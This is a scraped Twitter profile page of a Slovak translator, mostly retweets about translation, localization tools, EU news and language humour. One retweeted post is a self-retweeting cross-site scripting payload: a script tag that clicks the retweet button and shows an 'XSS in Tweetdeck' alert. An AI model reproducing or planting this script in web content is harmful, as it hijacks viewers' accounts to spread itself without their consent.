Daniela Revajova (@locmotion) header
Daniela Revajova (@locmotion) profile picture

English/Spanish to #Slovak #translator and #localizer. Specialized in IT, marketing, technology, corporate. Music lover and passionate traveller. #xl8 #l10n

Zilina, Slovakia
Joined November 2011
Photo by Daniela Revajova (@locmotion)Photo by Daniela Revajova (@locmotion)Photo by Daniela Revajova (@locmotion)Photo by Daniela Revajova (@locmotion)Photo by Daniela Revajova (@locmotion)
Daniela Revajova retweeted
Translation of product packaging: why is it crucial to double check your text? ow.ly/AtGZP via @DkPawlak #xl8 #t9n
1
3
Daniela Revajova retweeted
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥
3,986
54,532
233
15,550
Daniela Revajova retweeted
Blog: Leveraging TRADOS 2007 translation memories for use in SDL Trados Studio 2014. ow.ly/x0vGI via @paulfilkin
4
1
Congratulations to the President-elect of the Slovak Republic, Mr Andrej #Kiska on his election europa.eu/rapid/press-releas… #Slovakia
14
6
Daniela Revajova retweeted
These bodybuilders eat people! #punctuation
1
1
Daniela Revajova retweeted
Translator Having a Bad Day. #xl8 #translation #translators
8
79
46
Daniela Revajova retweeted
How can you tell the difference between a chemist and a plumber? Ask them to pronounce "unionized". #humour #linguistics
Daniela Revajova retweeted
Origins of Common UI Symbols bit.ly/KXif6m
1
6
3
Daniela Revajova retweeted
RT @wasaty: Excel worksheet w/ classification, packaging and labeling of dangerous substances in 23 EU languages: wasaty.pl/blog/2013/12/27/mu…
1
2
.@BarrosoEU has asked for #EU flag to be flown at half mast to honour memory of Nelson #Mandela & his fight for #freedom at EC headquarters
2
55
10
Why editors have no friends (2).
4
48
30
An open letter to translation buyers: can you really afford cheap translations? ow.ly/pRsLo by @transl8tr #xl8
1
3
Daniela Revajova retweeted
Would you like to get more attention on your #LinkedIn profile? Check here what you are doing wrong. fb.me/O5qI662M
1
1
Daniela Revajova retweeted
Don't care about mugs, but every #translator will want this one. #iapti #xl8
Ejercicios para prevenir el síndrome del túnel carpiano maestrodelacomputacion.net/e…
5
1
Translators: please RT and spread the word! Translation Days in Cracow wp.me/p3pzmQ-1ZB #Cracow2013
1
3
How to be a happy translator tailormadetranslations.com/2… #xl8
Daniela Revajova retweeted
Directory of "Translator" Scammers - and how to keep your CV safe from them ow.ly/lFUrH #translatorscammer #xl8
3
4
Daniela Revajova retweeted
RT @Scheherezade_SL: La relación entre traductor y revisor en un gif 25.media.tumblr.com/b991759b…